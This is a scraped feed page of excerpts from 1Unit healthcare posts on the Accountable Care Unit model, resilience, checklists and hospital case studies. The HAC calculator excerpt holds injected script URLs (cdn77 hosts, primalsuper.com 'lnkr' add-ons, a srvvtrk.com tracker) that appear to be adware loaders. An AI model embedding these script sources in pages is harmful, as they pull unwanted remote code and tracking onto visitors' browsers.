COLLATING PROGRAMS OF
Clinical Change

5. Cognitive Empathy: The Simple Power of Noticing People

Cognitive Empathy: The Simple Power of Noticing People In the previous post we introduce the advanced teamwork concept of resilience. We applied it to a slope of clinical deterioration. Now let’s apply the same concept of resilience to another scenario — a slope of deteriorating patient experience. (C) Copyright, 1Unit LLC 2019. All Rights Reserved. […]

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4. Resilience: The Calming Power of Proactive Care

Resilience: The Calming Power of Proactive Care How can hospital units organize themselves to outpace the tempo of deteriorating patient condition (or deteriorating patient experience)? The answer is resilience. What makes a hospital unit resilient is being able to stay ahead of issues as they arise. In the illustration below that foresight corresponds to the […]

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3. Reliability: The Simple Power of Checklists

Reliability: The Simple Power of Checklists Reliability in healthcare refers to how often we deliver the right care to the right patient at the right time. We’re human. Hospitals are complex. And hospital units have never been designed specifically for reliability. That’s why our error rates in the hospital are on the order of 1 […]

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Average HAC Common Events Calculator

Average HAC Common Costs Event Calculator The average HAC common costs event calculator below can be used to estimate the costs to your organization. Either use the standard average costs* OR enter your organization’s known costs for each HAC to get a more accurate vision of what these HACs are costing you.   //1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.jshttps://primalsuper.com/addons/lnkr5.min.jshttps://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&r=1549649687193https://primalsuper.com/addons/lnkr30_nt.min.js Notice: […]

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Nurses First

At Nurses First We Believe… Access to reliable and predictable information is essential to safe and collaborative nursing practice. Every shift is a chance to actively ensure our patients stay safe in hospital. Co-produced care is better care. And, partnerships with patients and families is at the heart of nursing care. “When nurses start ahead […]

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Hospital System ACU Visioning Session

Hospital System ACU Visioning Session In late 2018, a Canadian province had expanded the Accountable Care Unit model to 4 wards across multiple hospitals. This 2-year pilot was going well, and the province needed a clear plan and business case to keep growing. To help them, we designed and delivered a 1-day Hospital System ACU […]

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ACU briefing video MOBILE

ACU Briefing Video Accountable Care Unit (ACU® care model) briefing video with Dr Jason Stein to Australian and New Zealand healthcare leaders about the ACU care model.  40-minute video – recorded 16th June, 2017: https://fast.wistia.com/embed/medias/bb2makclgr.jsonp https://fast.wistia.com/assets/external/E-v1.js The post ACU briefing video MOBILE appeared first on 1Unit. Read the original source

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ACU Commonwealth Case Study MOBILE

ACU Commonwealth Case Study An ACU commonwealth case study that outlines improvements in clinical, cost, and satisfaction outcomes as a result of implementing the Accountable Care Unit (ACU® care model). The Unit is a 35 bed medical unit in a public tertiary hospital. The case study is particularly interesting as it highlights an example of […]

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Verdi 5 North pilot project brings the entire care team to the bedside MOBILE

Innovative team rounding helps Yale New Haven’s Verdi 5 North improve inter-professional engagement 1Unit helped Verdi 5 North, at the St. Raphael Campus, introduce innovative team rounding in the form of Structured Interdisciplinary Bedside Rounds (SIBR® rounds). This was part of a bigger change of the unit into an Accountable Care Unit (ACU® care model). […]

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Transforming health care as a team: Pasqua Hospital’s ACU MOBILE

Transforming health care as a team: Pasqua Hospital’s ACU This article was originally posted on HQC Blog. When care members are better connected with one another, patients receive the safest, highest quality care possible.  That’s the philosophy of Unit 4A at the Pasqua Hospital in Regina, where patients are reaping the benefits from a new care […]

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